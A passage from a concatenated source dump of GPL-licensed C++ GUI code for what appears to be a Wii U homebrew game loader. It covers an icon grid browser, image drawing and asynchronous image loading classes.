OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnLeftClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnRightClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnLeftSkipClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnRightSkipClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnLaunchClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { gameLaunchClicked(this, getSelectedGame()); } void OnBgEffectFinished(GuiElement *element); void updateDrawMap(void); bool bUpdateMap; glm::mat4 m_modelView; POINT lastPosition; f32 circleRadius; f32 circlePosition; f32 circleTargetPosition; f32 circleRotationSpeed; f32 circleSpeedLimit; f32 startRotationDistance; f32 lastTouchDifference; GuiSound *buttonClickSound; GuiImageData bgGridData; GridBackground bgGrid; GuiImageData noIcon; GameBgImage *bgUsedImageDataAsync; GameBgImage *bgNewImageDataAsync; GameBgImage *bgFadingImageDataAsync; GuiText gameTitle; GuiTrigger touchTrigger; GuiTrigger wpadTouchTrigger; GuiTrigger buttonATrigger; GuiTrigger buttonLTrigger; GuiTrigger buttonRTrigger; GuiTrigger buttonLeftTrigger; GuiTrigger buttonRightTrigger; GuiButton touchButton; GuiButton DPADButtons; std::vector gameIcons; std::vector drawOrder; int touchClickDelay; int selectedGame; int selectedGameOnDragStart; bool bWasDragging; u32 gameLaunchTimer; }; #endif // _GUI_ICON_CAROUSEL_H_ ================================================ FILE: src/gui/GuiIconGrid.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "GuiIconGrid.h" #include "GuiController.h" #include "common/common.h" #include "Application.h" #include "video/CVideo.h" #include "game/GameList.h" GuiIconGrid::GuiIconGrid(int w, int h, int GameIndex) : GuiGameBrowser(w, h, GameIndex) , buttonClickSound(Resources::GetSound("button_click.mp3")) , noIcon(Resources::GetFile("noGameIcon.png"), Resources::GetFileSize("noGameIcon.png"), GX2_TEX_CLAMP_MIRROR) , emptyIcon(Resources::GetFile("iconEmpty.jpg"), Resources::GetFileSize("iconEmpty.jpg"), GX2_TEX_CLAMP_MIRROR) , particleBgImage(w, h, 50) , gameTitle((char*)NULL, 52, glm::vec4(1.0f)) , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH) , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A) , leftTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_LEFT | GuiTrigger::STICK_L_LEFT, true) , rightTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_RIGHT | GuiTrigger::STICK_L_RIGHT, true) , downTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_DOWN | GuiTrigger::STICK_L_DOWN, true) , upTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_UP | GuiTrigger::STICK_L_UP, true) , buttonATrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_A, true) , buttonLTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_L, true) , buttonRTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_R, true) , leftButton(w, h) , rightButton(w, h) , downButton(w, h) , upButton(w, h) , launchButton(w, h) , arrowRightImageData(Resources::GetImageData("rightArrow.png")) , arrowLeftImageData(Resources::GetImageData("leftArrow.png")) , arrowRightImage(arrowRightImageData) , arrowLeftImage(arrowLeftImageData) , arrowRightButton(arrowRightImage.getWidth(), arrowRightImage.getHeight()) , arrowLeftButton(arrowLeftImage.getWidth(), arrowLeftImage.getHeight()) { gameLaunchTimer = 0; selectedGame = GameIndex; listOffset = selectedGame / (MAX_COLS * MAX_ROWS); targetLeftPosition = -listOffset * getWidth(); currentLeftPosition = targetLeftPosition; particleBgImage.setParent(this); leftButton.setTrigger(&leftTrigger); leftButton.clicked.connect(this, &GuiIconGrid::OnLeftClick); this->append(&leftButton); rightButton.setTrigger(&rightTrigger); rightButton.clicked.connect(this, &GuiIconGrid::OnRightClick); this->append(&rightButton); downButton.setTrigger(&downTrigger); downButton.clicked.connect(this, &GuiIconGrid::OnDownClick); this->append(&downButton); upButton.setTrigger(&upTrigger); upButton.clicked.connect(this, &GuiIconGrid::OnUpClick); this->append(&upButton); launchButton.setTrigger(&buttonATrigger); launchButton.clicked.connect(this, &GuiIconGrid::OnLaunchClick); this->append(&launchButton); int maxPages = (GameList::instance()->size() + (MAX_COLS * MAX_ROWS - 1)) / (MAX_COLS * MAX_ROWS); for(int idx = 0; idx < (maxPages * MAX_COLS * MAX_ROWS); idx++) { GameIcon *image = NULL; if(idx < GameList::instance()->size()) { std::string filepath = GameList::instance()->at(idx)->gamepath + META_PATH + "/iconTex.tga"; image = new GameIcon(filepath, &noIcon); } else { image = new GameIcon("", &emptyIcon); } image->setRenderReflection(false); image->setStrokeRender(false); image->setSelected(idx == selectedGame); image->setRenderIconLast(true); GuiButton * button = new GuiButton(noIcon.getWidth(), noIcon.getHeight()); button->setImage(image); button->setPosition(0, 0); button->setEffectGrow(); button->setTrigger(&touchTrigger); button->setTrigger(&wpadTouchTrigger); button->setSoundClick(buttonClickSound); button->setClickable( (idx < GameList::instance()->size()) ); button->setSelectable( (idx < GameList::instance()->size()) ); button->clicked.connect(this, &GuiIconGrid::OnGameButtonClick); this->append(button); gameButtons.push_back(button); gameIcons.push_back(image); } updateButtonPositions(); if((MAX_ROWS * MAX_COLS) < GameList::instance()->size()) { arrowLeftButton.setImage(&arrowLeftImage); arrowLeftButton.setEffectGrow(); arrowLeftButton.setPosition(40, 0); arrowLeftButton.setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); arrowLeftButton.setTrigger(&touchTrigger); arrowLeftButton.setTrigger(&wpadTouchTrigger); arrowLeftButton.setTrigger(&buttonLTrigger); arrowLeftButton.setSoundClick(buttonClickSound); arrowLeftButton.clicked.connect(this, &GuiIconGrid::OnLeftArrowClick); if(listOffset > 0) append(&arrowLeftButton); arrowRightButton.setImage(&arrowRightImage); arrowRightButton.setEffectGrow(); arrowRightButton.setPosition(-40, 0); arrowRightButton.setAlignment(ALIGN_RIGHT | ALIGN_MIDDLE); arrowRightButton.setTrigger(&touchTrigger); arrowRightButton.setTrigger(&wpadTouchTrigger); arrowRightButton.setTrigger(&buttonRTrigger); arrowRightButton.setSoundClick(buttonClickSound); arrowRightButton.clicked.connect(this, &GuiIconGrid::OnRightArrowClick); if(listOffset < (maxPages-1)) append(&arrowRightButton); } gameTitle.setPosition(0, -320); gameTitle.setBlurGlowColor(5.0f, glm::vec4(0.109804, 0.6549, 1.0f, 1.0f)); gameTitle.setMaxWidth(900, GuiText::DOTTED); gameTitle.setText((GameList::instance()->size() > selectedGame) ? GameList::instance()->at(selectedGame)->name.c_str() : ""); append(&gameTitle); } GuiIconGrid::~GuiIconGrid() { for(u32 i = 0; i < gameButtons.size(); i++) { delete gameIcons[i]; delete gameButtons[i]; } Resources::RemoveImageData(arrowRightImageData); Resources::RemoveImageData(arrowLeftImageData); Resources::RemoveSound(buttonClickSound); } void GuiIconGrid::setSelectedGame(int idx) { for(u32 i = 0; i < (u32)GameList::instance()->size(); i++) { if(i == (u32)idx) { selectedGame = idx; gameTitle.setText(GameList::instance()->at(selectedGame)->name.c_str()); while(selectedGame > listOffset * MAX_COLS * MAX_ROWS) listOffset++; while(selectedGame < listOffset * MAX_COLS * MAX_ROWS) listOffset--; targetLeftPosition = -listOffset * getWidth(); int maxPages = (GameList::instance()->size() + (MAX_COLS * MAX_ROWS - 1)) / (MAX_COLS * MAX_ROWS); if(listOffset == 0) { append(&arrowRightButton); remove(&arrowLeftButton); } else if(listOffset >= (maxPages - 1)) { append(&arrowLeftButton); remove(&arrowRightButton); } else { append(&arrowLeftButton); append(&arrowRightButton); } } gameIcons[i]->setSelected((u32)idx == i); } } int GuiIconGrid::getSelectedGame(void) { return selectedGame; } void GuiIconGrid::OnLeftArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(listOffset > 0) { listOffset--; targetLeftPosition = -listOffset * getWidth(); if(listOffset == 0) remove(&arrowLeftButton); int sel = getSelectedGame(); sel -= MAX_ROWS * MAX_COLS; if(sel < 0) sel = 0; if(sel != getSelectedGame()) { setSelectedGame(sel); gameSelectionChanged(this, sel); } } append(&arrowRightButton); } void GuiIconGrid::OnRightArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { int maxPages = (GameList::instance()->size() + (MAX_COLS * MAX_ROWS - 1)) / (MAX_COLS * MAX_ROWS); if(listOffset < (maxPages-1)) { listOffset++; targetLeftPosition = -listOffset * getWidth(); if(listOffset == (maxPages-1)) remove(&arrowRightButton); int sel = getSelectedGame(); sel += MAX_ROWS * MAX_COLS; if(sel > (GameList::instance()->size() - 1)) sel = (GameList::instance()->size() - 1); if(sel != getSelectedGame()) { setSelectedGame(sel); gameSelectionChanged(this, sel); } } append(&arrowLeftButton); } void GuiIconGrid::OnLeftClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { int sel = getSelectedGame(); int col = sel % MAX_COLS; if(col == 0 && listOffset > 0) { listOffset--; targetLeftPosition = -listOffset * getWidth(); sel += MAX_COLS - 1 - MAX_ROWS * MAX_COLS; if(listOffset == 0) remove(&arrowLeftButton); append(&arrowRightButton); } else if(col > 0) { sel--; } if(sel != getSelectedGame()) { setSelectedGame(sel); gameSelectionChanged(this, sel); } } void GuiIconGrid::OnRightClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { int sel = getSelectedGame(); int col = sel % MAX_COLS; int page = listOffset + 1; if(col == (MAX_COLS - 1)) { int maxPages = (GameList::instance()->size() + (MAX_COLS * MAX_ROWS - 1)) / (MAX_COLS * MAX_ROWS); if(((sel + MAX_ROWS * MAX_COLS - MAX_COLS + 1) < GameList::instance()->size()) || (listOffset < (maxPages-1))) { listOffset++; targetLeftPosition = -listOffset * getWidth(); sel += MAX_ROWS * MAX_COLS - MAX_COLS + 1; if(listOffset < (maxPages-1)) remove(&arrowRightButton); append(&arrowLeftButton); } } else if((sel + 1) < GameList::instance()->size()) { sel++; } if(sel > (GameList::instance()->size() - 1)) { int m = (((GameList::instance()->size() % (MAX_ROWS * MAX_COLS)) % MAX_COLS) == 0) ? 0 : 1; sel = page * MAX_ROWS * MAX_COLS + ((GameList::instance()->size() % (MAX_ROWS * MAX_COLS)) / MAX_COLS + m - 1) * MAX_COLS; } if(sel != getSelectedGame()) { setSelectedGame(sel); gameSelectionChanged(this, sel); } } void GuiIconGrid::OnDownClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { int sel = getSelectedGame(); int row = (sel % (MAX_ROWS * MAX_COLS)) / MAX_COLS; if(row < (MAX_ROWS - 1) && (sel + MAX_COLS) < (GameList::instance()->size())) { sel += MAX_COLS; } if(sel != getSelectedGame()) { setSelectedGame(sel); gameSelectionChanged(this, sel); } } void GuiIconGrid::OnUpClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { int sel = getSelectedGame(); int row = (sel % (MAX_ROWS * MAX_COLS)) / MAX_COLS; if(row > 0) { sel -= MAX_COLS; } if(sel < 0) sel = 0; if(sel != getSelectedGame()) { setSelectedGame(sel); gameSelectionChanged(this, sel); } } void GuiIconGrid::OnLaunchClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { //! do not auto launch when wiimote is pointing to screen and presses A if((trigger == &buttonATrigger) && (controller->chan & (GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5)) && controller->data.validPointer) { return; } gameLaunchClicked(this, getSelectedGame()); } void GuiIconGrid::OnGameButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { for(u32 i = 0; i < gameButtons.size(); ++i) { if(gameButtons[i] == button && ((int)i < GameList::instance()->size())) { if(selectedGame == (int)i) { if(gameLaunchTimer < 30) OnLaunchClick(button, controller, trigger); } else { setSelectedGame(i); gameSelectionChanged(this, selectedGame); } gameLaunchTimer = 0; break; } } } void GuiIconGrid::updateButtonPositions() { int col = 0, row = 0, listOff = 0; for(u32 i = 0; i < gameButtons.size(); i++) { listOff = i / (MAX_COLS * MAX_ROWS); float posX = currentLeftPosition + listOff * width + ( col * (noIcon.getWidth() + noIcon.getWidth() * 0.5f) - (MAX_COLS * 0.5f - 0.5f) * (noIcon.getWidth() + noIcon.getWidth() * 0.5f) ); float posY = -row * (noIcon.getHeight() + noIcon.getHeight() * 0.5f) + (MAX_ROWS * 0.5f - 0.5f) * (noIcon.getHeight() + noIcon.getHeight() * 0.5f) + 30.0f; gameButtons[i]->setPosition(posX, posY); col++; if(col >= MAX_COLS) { col = 0; row++; } if(row >= MAX_ROWS) row = 0; } } void GuiIconGrid::update(GuiController * c) { GuiFrame::update(c); } void GuiIconGrid::draw(CVideo *pVideo) { bool bUpdatePositions = false; if(currentLeftPosition < targetLeftPosition) { currentLeftPosition += 35; if(currentLeftPosition > targetLeftPosition) currentLeftPosition = targetLeftPosition; bUpdatePositions = true; } else if(currentLeftPosition > targetLeftPosition) { currentLeftPosition -= 35; if(currentLeftPosition < targetLeftPosition) currentLeftPosition = targetLeftPosition; bUpdatePositions = true; } if(bUpdatePositions) { bUpdatePositions = false; updateButtonPositions(); } //! the BG needs to be rendered to stencil pVideo->setStencilRender(true); particleBgImage.draw(pVideo); pVideo->setStencilRender(false); GuiFrame::draw(pVideo); gameLaunchTimer++; } ================================================ FILE: src/gui/GuiIconGrid.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _GUI_ICON_GRID_H_ #define _GUI_ICON_GRID_H_ #include #include "GuiFrame.h" #include "GuiButton.h" #include "GameIcon.h" #include "GuiGameBrowser.h" #include "GameBgImage.h" #include "GridBackground.h" #include "GuiParticleImage.h" #include "GuiText.h" class GuiIconGrid : public GuiGameBrowser, public sigslot::has_slots<> { public: GuiIconGrid(int w, int h, int GameIndex); virtual ~GuiIconGrid(); void setSelectedGame(int idx); int getSelectedGame(void); void update(GuiController * t); void draw(CVideo *pVideo); private: void OnLeftArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnRightArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnGameButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnLeftClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnRightClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnDownClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnUpClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnLaunchClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void updateButtonPositions(); static const int MAX_ROWS = 3; static const int MAX_COLS = 5; GuiSound *buttonClickSound; GuiImageData noIcon; GuiImageData emptyIcon; GuiParticleImage particleBgImage; GuiText gameTitle; GuiTrigger touchTrigger; GuiTrigger wpadTouchTrigger; GuiTrigger leftTrigger; GuiTrigger rightTrigger; GuiTrigger downTrigger; GuiTrigger upTrigger; GuiTrigger buttonATrigger; GuiTrigger buttonLTrigger; GuiTrigger buttonRTrigger; GuiButton leftButton; GuiButton rightButton; GuiButton downButton; GuiButton upButton; GuiButton launchButton; GuiImageData* arrowRightImageData; GuiImageData* arrowLeftImageData; GuiImage arrowRightImage; GuiImage arrowLeftImage; GuiButton arrowRightButton; GuiButton arrowLeftButton; std::vector gameIcons; std::vector gameButtons; int listOffset; int selectedGame; int currentLeftPosition; int targetLeftPosition; u32 gameLaunchTimer; }; #endif // _GUI_ICON_GRID_H_ ================================================ FILE: src/gui/GuiImage.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "GuiImage.h" #include "video/CVideo.h" #include "video/shaders/Texture2DShader.h" #include "video/shaders/ColorShader.h" static const f32 fPiDiv180 = ((f32)M_PI / 180.0f); GuiImage::GuiImage(GuiImageData * img) { if(img && img->getTexture()) { width = img->getWidth(); height = img->getHeight(); } internalInit(width, height); imageData = img; } GuiImage::GuiImage(s32 w, s32 h, const GX2Color & c, s32 type) { internalInit(w, h); imgType = type; colorCount = ColorShader::cuColorVtxsSize / ColorShader::cuColorAttrSize; colorVtxs = (u8 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, colorCount * ColorShader::cuColorAttrSize); if(colorVtxs) { for(u32 i = 0; i < colorCount; i++) setImageColor(c, i); } } GuiImage::GuiImage(s32 w, s32 h, const GX2Color *c, u32 color_count, s32 type) { internalInit(w, h); imgType = type; colorCount = ColorShader::cuColorVtxsSize / ColorShader::cuColorAttrSize; if(colorCount < color_count) colorCount = color_count; colorVtxs = (u8 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, colorCount * ColorShader::cuColorAttrSize); if(colorVtxs) { for(u32 i = 0; i < colorCount; i++) { // take the last as reference if not enough colors defined s32 idx = (i < color_count) ? i : (color_count - 1); setImageColor(c[idx], i); } } } /** * Destructor for the GuiImage class. */ GuiImage::~GuiImage() { if(colorVtxs) { free(colorVtxs); colorVtxs = NULL; } } void GuiImage::internalInit(s32 w, s32 h) { imageData = NULL; width = w; height = h; tileHorizontal = -1; tileVertical = -1; imgType = IMAGE_TEXTURE; colorVtxsDirty = false; colorVtxs = NULL; colorCount = 0; posVtxs = NULL; texCoords = NULL; vtxCount = 4; primitive = GX2_PRIMITIVE_QUADS; imageAngle = 0.0f; blurDirection = glm::vec3(0.0f); positionOffsets = glm::vec3(0.0f); scaleFactor = glm::vec3(1.0f); colorIntensity = glm::vec4(1.0f); } void GuiImage::setImageData(GuiImageData * img) { imageData = img; width = 0; height = 0; if(img && img->getTexture()) { width = img->getWidth(); height = img->getHeight(); } imgType = IMAGE_TEXTURE; } GX2Color GuiImage::getPixel(s32 x, s32 y) { if(!imageData || this->getWidth() <= 0 || x < 0 || y < 0 || x >= this->getWidth() || y >= this->getHeight()) return (GX2Color){0, 0, 0, 0}; u32 pitch = imageData->getTexture()->surface.pitch; u32 *imagePtr = (u32*)imageData->getTexture()->surface.image_data; u32 color_u32 = imagePtr[y * pitch + x]; GX2Color color; color.r = (color_u32 >> 24) & 0xFF; color.g = (color_u32 >> 16) & 0xFF; color.b = (color_u32 >> 8) & 0xFF; color.a = (color_u32 >> 0) & 0xFF; return color; } void GuiImage::setPixel(s32 x, s32 y, const GX2Color & color) { if(!imageData || this->getWidth() <= 0 || x < 0 || y < 0 || x >= this->getWidth() || y >= this->getHeight()) return; u32 pitch = imageData->getTexture()->surface.pitch; u32 *imagePtr = (u32*)imageData->getTexture()->surface.image_data; imagePtr[y * pitch + x] = (color.r << 24) | (color.g << 16) | (color.b << 8) | (color.a << 0); } void GuiImage::setImageColor(const GX2Color & c, s32 idx) { if(!colorVtxs) { return; } if(idx >= 0 && idx < (s32)colorCount) { colorVtxs[(idx << 2) + 0] = c.r; colorVtxs[(idx << 2) + 1] = c.g; colorVtxs[(idx << 2) + 2] = c.b; colorVtxs[(idx << 2) + 3] = c.a; colorVtxsDirty = true; } else if(colorVtxs) { for(u32 i = 0; i < (ColorShader::cuColorVtxsSize / sizeof(u8)); i += 4) { colorVtxs[i + 0] = c.r; colorVtxs[i + 1] = c.g; colorVtxs[i + 2] = c.b; colorVtxs[i + 3] = c.a; } colorVtxsDirty = true; } } void GuiImage::setSize(s32 w, s32 h) { width = w; height = h; } void GuiImage::setPrimitiveVertex(s32 prim, const f32 *posVtx, const f32 *texCoord, u32 vtxcount) { primitive = prim; vtxCount = vtxcount; posVtxs = posVtx; texCoords = texCoord; if(imgType == IMAGE_COLOR) { u8 * newColorVtxs = (u8 *) memalign(0x40, ColorShader::cuColorAttrSize * vtxCount); for(u32 i = 0; i < vtxCount; i++) { s32 newColorIdx = (i << 2); s32 colorIdx = (i < colorCount) ? (newColorIdx) : ((colorCount - 1) << 2); newColorVtxs[newColorIdx + 0] = colorVtxs[colorIdx + 0]; newColorVtxs[newColorIdx + 1] = colorVtxs[colorIdx + 1]; newColorVtxs[newColorIdx + 2] = colorVtxs[colorIdx + 2]; newColorVtxs[newColorIdx + 3] = colorVtxs[colorIdx + 3]; } free(colorVtxs); colorVtxs = newColorVtxs; colorCount = vtxCount; colorVtxsDirty = true; } } void GuiImage::draw(CVideo *pVideo) { if(!this->isVisible() || tileVertical == 0 || tileHorizontal == 0) return; f32 currScaleX = getScaleX(); f32 currScaleY = getScaleY(); positionOffsets[0] = getCenterX() * pVideo->getWidthScaleFactor() * 2.0f; positionOffsets[1] = getCenterY() * pVideo->getHeightScaleFactor() * 2.0f; positionOffsets[2] = getDepth() * pVideo->getDepthScaleFactor() * 2.0f; scaleFactor[0] = currScaleX * getWidth() * pVideo->getWidthScaleFactor(); scaleFactor[1] = currScaleY * getHeight() * pVideo->getHeightScaleFactor(); scaleFactor[2] = getScaleZ(); //! add other colors intensities parameters colorIntensity[3] = getAlpha(); //! angle of the object imageAngle = DegToRad(getAngle()); // if(image && tileHorizontal > 0 && tileVertical > 0) // { // for(s32 n=0; n 0) // { // for(s32 i=0; i 0) // { // for(s32 i=0; isetShaders(); ColorShader::instance()->setAttributeBuffer(colorVtxs, posVtxs, vtxCount); ColorShader::instance()->setAngle(imageAngle); ColorShader::instance()->setOffset(positionOffsets); ColorShader::instance()->setScale(scaleFactor); ColorShader::instance()->setColorIntensity(colorIntensity); ColorShader::instance()->draw(primitive, vtxCount); } else if(imageData) { Texture2DShader::instance()->setShaders(); Texture2DShader::instance()->setAttributeBuffer(texCoords, posVtxs, vtxCount); Texture2DShader::instance()->setAngle(imageAngle); Texture2DShader::instance()->setOffset(positionOffsets); Texture2DShader::instance()->setScale(scaleFactor); Texture2DShader::instance()->setColorIntensity(colorIntensity); Texture2DShader::instance()->setBlurring(blurDirection); Texture2DShader::instance()->setTextureAndSampler(imageData->getTexture(), imageData->getSampler()); Texture2DShader::instance()->draw(primitive, vtxCount); } } ================================================ FILE: src/gui/GuiImage.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef GUI_IMAGE_H_ #define GUI_IMAGE_H_ #include "video/shaders/Shader.h" #include "GuiElement.h" #include "GuiImageData.h" //!Display, manage, and manipulate images in the GUI class GuiImage : public GuiElement { public: enum ImageTypes { IMAGE_TEXTURE, IMAGE_COLOR }; //!\overload //!\param img Pointer to GuiImageData element GuiImage(GuiImageData * img); //!\overload //!Creates an image filled with the specified color //!\param w Image width //!\param h Image height //!\param c Array with 4 x image color (BL, BR, TL, TR) GuiImage(s32 w, s32 h, const GX2Color & c, s32 imgType = IMAGE_COLOR); GuiImage(s32 w, s32 h, const GX2Color * c, u32 colorCount = 1, s32 imgType = IMAGE_COLOR); //!Destructor virtual ~GuiImage(); //!Sets the number of times to draw the image horizontally //!\param t Number of times to draw the image void setTileHorizontal(s32 t) { tileHorizontal = t; } //!Sets the number of times to draw the image vertically //!\param t Number of times to draw the image void setTileVertical(s32 t) { tileVertical = t; } //!Constantly called to draw the image void draw(CVideo *pVideo); //!Gets the image data //!\return pointer to image data GuiImageData * getImageData() const { return imageData; } //!Sets up a new image using the GuiImageData object specified //!\param img Pointer to GuiImageData object void setImageData(GuiImageData * img); //!Gets the pixel color at the specified coordinates of the image //!\param x X coordinate //!\param y Y coordinate GX2Color getPixel(s32 x, s32 y); //!Sets the pixel color at the specified coordinates of the image //!\param x X coordinate //!\param y Y coordinate //!\param color Pixel color void setPixel(s32 x, s32 y, const GX2Color & color); //!Change ImageColor void setImageColor(const GX2Color & c, s32 idx = -1); //!Change ImageColor void setSize(s32 w, s32 h); void setPrimitiveVertex(s32 prim, const f32 *pos, const f32 *tex, u32 count); void setBlurDirection(u8 dir, f32 value) { if(dir < 2) { blurDirection[dir] = value; } } void setColorIntensity(const glm::vec4 & col) { colorIntensity = col; } protected: void internalInit(s32 w, s32 h); s32 imgType; //!< Type of image data (IMAGE_TEXTURE, IMAGE_COLOR, IMAGE_DATA) GuiImageData * imageData; //!< Poiner to image data. May be shared with GuiImageData data s32 tileHorizontal; //!< Number of times to draw (tile) the image horizontally s32 tileVertical; //!< Number of times to draw (tile) the image vertically //! Internally used variables for rendering u8 *colorVtxs; u32 colorCount; bool colorVtxsDirty; glm::vec3 positionOffsets; glm::vec3 scaleFactor; glm::vec4 colorIntensity; f32 imageAngle; glm::vec3 blurDirection; const f32 * posVtxs; const f32 * texCoords; u32 vtxCount; s32 primitive; }; #endif ================================================ FILE: src/gui/GuiImageAsync.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include #include "GuiImageAsync.h" #include "fs/fs_utils.h" std::vector GuiImageAsync::imageQueue; CThread * GuiImageAsync::pThread = NULL; CMutex * GuiImageAsync::pMutex = NULL; u32 GuiImageAsync::threadRefCounter = 0; bool GuiImageAsync::bExitRequested = false; GuiImageAsync * GuiImageAsync::pInUse = NULL; GuiImageAsync::GuiImageAsync(const u8 *imageBuffer, const u32 & imageBufferSize, GuiImageData * preloadImg) : GuiImage(preloadImg) , imgData(NULL) , imgBuffer(imageBuffer) , imgBufferSize(imageBufferSize) { threadInit(); threadAddImage(this); } GuiImageAsync::GuiImageAsync(const std::string & file, GuiImageData * preloadImg) : GuiImage(preloadImg) , imgData(NULL) , filename(file) , imgBuffer(NULL) , imgBufferSize(0) { threadInit(); threadAddImage(this); } GuiImageAsync::~GuiImageAsync() { threadRemoveImage(this); while(pInUse == this) os_usleep(1000); if (imgData) delete imgData; //threadExit(); } void GuiImageAsync::threadAddImage(GuiImageAsync *Image) { pMutex->lock(); imageQueue.push_back(Image); pMutex->unlock(); pThread->resumeThread(); } void GuiImageAsync::threadRemoveImage(GuiImageAsync *image) { pMutex->lock(); for(u32 i = 0; i < imageQueue.size(); ++i) { if(imageQueue[i] == image) { imageQueue.erase(imageQueue.begin() + i); break; } } pMutex->unlock(); } void GuiImageAsync::clearQueue() { pMutex->lock(); imageQueue.clear(); pMutex->unlock(); } void GuiImageAsync::guiImageAsyncThread(CThread *thread, void *arg) { while(!bExitRequested) { if(imageQueue.empty() && !bExitRequested) pThread->suspendThread(); if(!imageQueue.empty() && !bExitRequested) { pMutex->lock(); pInUse = imageQueue.front(); imageQueue.erase(imageQueue.begin()); pMutex->unlock(); if (!pInUse) continue; if(pInUse->imgBuffer && pInUse->imgBufferSize) { pInUse->imgData = new GuiImageData(pInUse->imgBuffer, pInUse->imgBufferSize); } else { u8 *buffer = NULL; u32 bufferSize = 0; s32 iResult = LoadFileToMem(pInUse->filename.c_str(), &buffer, &bufferSize); if(iResult > 0) { pInUse->imgData = new GuiImageData(buffer, bufferSize, GX2_TEX_CLAMP_MIRROR); //! free original image buffer which is converted to texture now and not needed anymore free(buffer); } } if(pInUse->imgData) { if(pInUse->imgData->getTexture()) { pInUse->width = pInUse->imgData->getWidth(); pInUse->height = pInUse->imgData->getHeight(); pInUse->imageData = pInUse->imgData; } else { delete pInUse->imgData; pInUse->imgData = NULL; } } pInUse->imageLoaded(pInUse); pInUse = NULL; } } } void GuiImageAsync::threadInit() { if (pThread == NULL) { bExitRequested = false; pMutex = new CMutex(); pThread = CThread::create(GuiImageAsync::guiImageAsyncThread, NULL, CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 10); pThread->resumeThread(); } ++threadRefCounter; } void GuiImageAsync::threadExit() { if(threadRefCounter){ --threadRefCounter; } if(/*(threadRefCounter == 0) &&*/ (pThread != NULL)) { bExitRequested = true; delete pThread; delete pMutex; pThread = NULL; pMutex = NULL; } } ================================================ FILE: src/gui/GuiImageAsync.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free 